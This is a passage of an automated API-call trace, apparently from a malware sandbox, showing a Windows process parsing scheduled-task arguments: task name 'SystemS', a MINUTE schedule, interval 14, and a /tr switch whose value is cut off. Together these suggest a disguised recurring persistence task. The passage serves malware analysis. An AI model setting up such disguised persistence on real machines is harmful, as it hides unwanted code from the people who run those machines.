_BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.081] lstrlenW (lpString="|query|") returned 7 [0129.081] lstrlenW (lpString="|tn|") returned 4 [0129.081] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0129.081] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.082] lstrlenW (lpString="change") returned 6 [0129.082] lstrlenW (lpString="change") returned 6 [0129.082] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.082] lstrlenW (lpString="tn") returned 2 [0129.082] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.082] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|change|") returned 8 [0129.082] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.082] lstrlenW (lpString="|change|") returned 8 [0129.082] lstrlenW (lpString="|tn|") returned 4 [0129.082] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0129.082] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.082] lstrlenW (lpString="run") returned 3 [0129.082] lstrlenW (lpString="run") returned 3 [0129.082] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.082] lstrlenW (lpString="tn") returned 2 [0129.082] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.082] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|run|") returned 5 [0129.082] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.082] lstrlenW (lpString="|run|") returned 5 [0129.082] lstrlenW (lpString="|tn|") returned 4 [0129.082] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0129.082] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.082] lstrlenW (lpString="end") returned 3 [0129.082] lstrlenW (lpString="end") returned 3 [0129.082] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.083] lstrlenW (lpString="tn") returned 2 [0129.083] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.083] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|end|") returned 5 [0129.083] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.083] lstrlenW (lpString="|end|") returned 5 [0129.083] lstrlenW (lpString="|tn|") returned 4 [0129.083] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0129.083] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.083] lstrlenW (lpString="showsid") returned 7 [0129.083] lstrlenW (lpString="showsid") returned 7 [0129.083] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.083] GetProcessHeap () returned 0x2a3f45b0000 [0129.083] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3960) returned 1 [0129.083] GetProcessHeap () returned 0x2a3f45b0000 [0129.083] RtlReAllocateHeap (Heap=0x2a3f45b0000, Flags=0xc, Ptr=0x2a3f45b3960, Size=0x16) returned 0x2a3f45b3960 [0129.083] lstrlenW (lpString="tn") returned 2 [0129.083] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.083] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0xa, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|showsid|") returned 9 [0129.083] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tn|") returned 4 [0129.083] lstrlenW (lpString="|showsid|") returned 9 [0129.083] lstrlenW (lpString="|tn|") returned 4 [0129.083] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0129.083] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.083] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.083] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.083] lstrlenW (lpString="/tn") returned 3 [0129.084] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] lstrlenW (lpString="/tn") returned 3 [0129.084] GetProcessHeap () returned 0x2a3f45b0000 [0129.084] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x8) returned 0x2a3f45b3900 [0129.084] GetProcessHeap () returned 0x2a3f45b0000 [0129.084] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb590 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] lstrlenW (lpString="SystemS") returned 7 [0129.084] lstrlenW (lpString="-/") returned 2 [0129.084] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] lstrlenW (lpString="SystemS") returned 7 [0129.084] StrChrIW (lpStart="SystemS", wMatch=0x3a) returned 0x0 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] lstrlenW (lpString="SystemS") returned 7 [0129.084] GetProcessHeap () returned 0x2a3f45b0000 [0129.084] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x10) returned 0x2a3f45ba8f0 [0129.084] GetProcessHeap () returned 0x2a3f45b0000 [0129.084] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb830 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.084] lstrlenW (lpString="/sc") returned 3 [0129.085] lstrlenW (lpString="-/") returned 2 [0129.085] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.085] lstrlenW (lpString="?") returned 1 [0129.085] lstrlenW (lpString="?") returned 1 [0129.085] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.085] lstrlenW (lpString="sc") returned 2 [0129.085] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.085] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|?|") returned 3 [0129.085] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.085] lstrlenW (lpString="|?|") returned 3 [0129.085] lstrlenW (lpString="|sc|") returned 4 [0129.085] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.085] lstrlenW (lpString="create") returned 6 [0129.085] lstrlenW (lpString="create") returned 6 [0129.085] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.085] lstrlenW (lpString="sc") returned 2 [0129.085] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.085] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.085] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.085] lstrlenW (lpString="|create|") returned 8 [0129.085] lstrlenW (lpString="|sc|") returned 4 [0129.085] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.086] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.086] lstrlenW (lpString="delete") returned 6 [0129.086] lstrlenW (lpString="delete") returned 6 [0129.086] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.086] lstrlenW (lpString="sc") returned 2 [0129.086] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.086] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|delete|") returned 8 [0129.086] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.086] lstrlenW (lpString="|delete|") returned 8 [0129.086] lstrlenW (lpString="|sc|") returned 4 [0129.086] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0129.086] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.086] lstrlenW (lpString="query") returned 5 [0129.086] lstrlenW (lpString="query") returned 5 [0129.086] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.086] lstrlenW (lpString="sc") returned 2 [0129.086] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.086] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x8, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|query|") returned 7 [0129.086] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.086] lstrlenW (lpString="|query|") returned 7 [0129.086] lstrlenW (lpString="|sc|") returned 4 [0129.087] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0129.087] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.087] lstrlenW (lpString="change") returned 6 [0129.087] lstrlenW (lpString="change") returned 6 [0129.087] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.087] lstrlenW (lpString="sc") returned 2 [0129.087] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.087] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|change|") returned 8 [0129.087] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.087] lstrlenW (lpString="|change|") returned 8 [0129.087] lstrlenW (lpString="|sc|") returned 4 [0129.087] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0129.087] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.087] lstrlenW (lpString="run") returned 3 [0129.087] lstrlenW (lpString="run") returned 3 [0129.087] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.087] lstrlenW (lpString="sc") returned 2 [0129.087] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.087] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|run|") returned 5 [0129.087] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.087] lstrlenW (lpString="|run|") returned 5 [0129.088] lstrlenW (lpString="|sc|") returned 4 [0129.088] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0129.088] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.088] lstrlenW (lpString="end") returned 3 [0129.088] lstrlenW (lpString="end") returned 3 [0129.088] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.088] lstrlenW (lpString="sc") returned 2 [0129.088] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.088] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|end|") returned 5 [0129.088] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.088] lstrlenW (lpString="|end|") returned 5 [0129.088] lstrlenW (lpString="|sc|") returned 4 [0129.088] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0129.088] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.088] lstrlenW (lpString="showsid") returned 7 [0129.088] lstrlenW (lpString="showsid") returned 7 [0129.088] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.088] lstrlenW (lpString="sc") returned 2 [0129.088] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.088] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0xa, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|showsid|") returned 9 [0129.088] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|sc|") returned 4 [0129.088] lstrlenW (lpString="|showsid|") returned 9 [0129.088] lstrlenW (lpString="|sc|") returned 4 [0129.088] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] lstrlenW (lpString="/sc") returned 3 [0129.089] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] lstrlenW (lpString="/sc") returned 3 [0129.089] GetProcessHeap () returned 0x2a3f45b0000 [0129.089] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x8) returned 0x2a3f45b3b60 [0129.089] GetProcessHeap () returned 0x2a3f45b0000 [0129.089] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bba70 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] lstrlenW (lpString="MINUTE") returned 6 [0129.089] lstrlenW (lpString="-/") returned 2 [0129.089] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] lstrlenW (lpString="MINUTE") returned 6 [0129.089] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] lstrlenW (lpString="MINUTE") returned 6 [0129.089] GetProcessHeap () returned 0x2a3f45b0000 [0129.089] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xe) returned 0x2a3f45ba870 [0129.089] GetProcessHeap () returned 0x2a3f45b0000 [0129.089] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb6e0 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.089] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.090] lstrlenW (lpString="/mo") returned 3 [0129.090] lstrlenW (lpString="-/") returned 2 [0129.090] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.090] lstrlenW (lpString="?") returned 1 [0129.090] lstrlenW (lpString="?") returned 1 [0129.090] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.090] lstrlenW (lpString="mo") returned 2 [0129.090] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.090] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|?|") returned 3 [0129.090] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.090] lstrlenW (lpString="|?|") returned 3 [0129.132] lstrlenW (lpString="|mo|") returned 4 [0129.132] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.133] lstrlenW (lpString="create") returned 6 [0129.133] lstrlenW (lpString="create") returned 6 [0129.133] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.133] lstrlenW (lpString="mo") returned 2 [0129.133] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.133] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.133] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.133] lstrlenW (lpString="|create|") returned 8 [0129.133] lstrlenW (lpString="|mo|") returned 4 [0129.133] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0129.133] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.133] lstrlenW (lpString="delete") returned 6 [0129.133] lstrlenW (lpString="delete") returned 6 [0129.133] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.133] lstrlenW (lpString="mo") returned 2 [0129.133] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.133] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|delete|") returned 8 [0129.133] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.133] lstrlenW (lpString="|delete|") returned 8 [0129.133] lstrlenW (lpString="|mo|") returned 4 [0129.133] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0129.133] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.133] lstrlenW (lpString="query") returned 5 [0129.133] lstrlenW (lpString="query") returned 5 [0129.133] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.134] lstrlenW (lpString="mo") returned 2 [0129.134] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.134] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x8, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|query|") returned 7 [0129.134] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.134] lstrlenW (lpString="|query|") returned 7 [0129.134] lstrlenW (lpString="|mo|") returned 4 [0129.134] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0129.134] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.134] lstrlenW (lpString="change") returned 6 [0129.134] lstrlenW (lpString="change") returned 6 [0129.134] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.134] lstrlenW (lpString="mo") returned 2 [0129.134] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.134] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|change|") returned 8 [0129.134] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.134] lstrlenW (lpString="|change|") returned 8 [0129.134] lstrlenW (lpString="|mo|") returned 4 [0129.134] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0129.134] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.134] lstrlenW (lpString="run") returned 3 [0129.134] lstrlenW (lpString="run") returned 3 [0129.134] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.134] lstrlenW (lpString="mo") returned 2 [0129.134] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.134] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|run|") returned 5 [0129.135] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.135] lstrlenW (lpString="|run|") returned 5 [0129.135] lstrlenW (lpString="|mo|") returned 4 [0129.135] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0129.135] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.135] lstrlenW (lpString="end") returned 3 [0129.135] lstrlenW (lpString="end") returned 3 [0129.135] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.135] lstrlenW (lpString="mo") returned 2 [0129.135] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.135] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|end|") returned 5 [0129.135] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.135] lstrlenW (lpString="|end|") returned 5 [0129.135] lstrlenW (lpString="|mo|") returned 4 [0129.135] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0129.135] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.135] lstrlenW (lpString="showsid") returned 7 [0129.135] lstrlenW (lpString="showsid") returned 7 [0129.135] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.135] lstrlenW (lpString="mo") returned 2 [0129.135] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.135] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0xa, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|showsid|") returned 9 [0129.135] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|mo|") returned 4 [0129.135] lstrlenW (lpString="|showsid|") returned 9 [0129.135] lstrlenW (lpString="|mo|") returned 4 [0129.136] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] lstrlenW (lpString="/mo") returned 3 [0129.136] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] lstrlenW (lpString="/mo") returned 3 [0129.136] GetProcessHeap () returned 0x2a3f45b0000 [0129.136] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x8) returned 0x2a3f45b3b80 [0129.136] GetProcessHeap () returned 0x2a3f45b0000 [0129.136] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb9b0 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] lstrlenW (lpString="14") returned 2 [0129.136] lstrlenW (lpString="-/") returned 2 [0129.136] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] lstrlenW (lpString="14") returned 2 [0129.136] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.136] lstrlenW (lpString="14") returned 2 [0129.136] GetProcessHeap () returned 0x2a3f45b0000 [0129.136] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x6) returned 0x2a3f45b3ba0 [0129.136] GetProcessHeap () returned 0x2a3f45b0000 [0129.136] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb950 [0129.137] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.137] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.137] lstrlenW (lpString="/tr") returned 3 [0129.137] lstrlenW (lpString="-/") returned 2 [0129.137] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.137] lstrlenW (lpString="?") returned 1 [0129.137] lstrlenW (lpString="?") returned 1 [0129.137] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.137] lstrlenW (lpString="tr") returned 2 [0129.137] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.137] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|?|") returned 3 [0129.137] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.137] lstrlenW (lpString="|?|") returned 3 [0129.137] lstrlenW (lpString="|tr|") returned 4 [0129.137] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.137] lstrlenW (lpString="create") returned 6 [0129.137] lstrlenW (lpString="create") returned 6 [0129.137] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.137] lstrlenW (lpString="tr") returned 2 [0129.138] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.138] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.138] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.138] lstrlenW (lpString="|create|") returned 8 [0129.138] lstrlenW (lpString="|tr|") returned 4 [0129.138] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.138] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.138] lstrlenW (lpString="delete") returned 6 [0129.138] lstrlenW (lpString="delete") returned 6 [0129.138] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.138] lstrlenW (lpString="tr") returned 2 [0129.138] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.138] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|delete|") returned 8 [0129.138] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.138] lstrlenW (lpString="|delete|") returned 8 [0129.138] lstrlenW (lpString="|tr|") returned 4 [0129.138] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0129.138] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.138] lstrlenW (lpString="query") returned 5 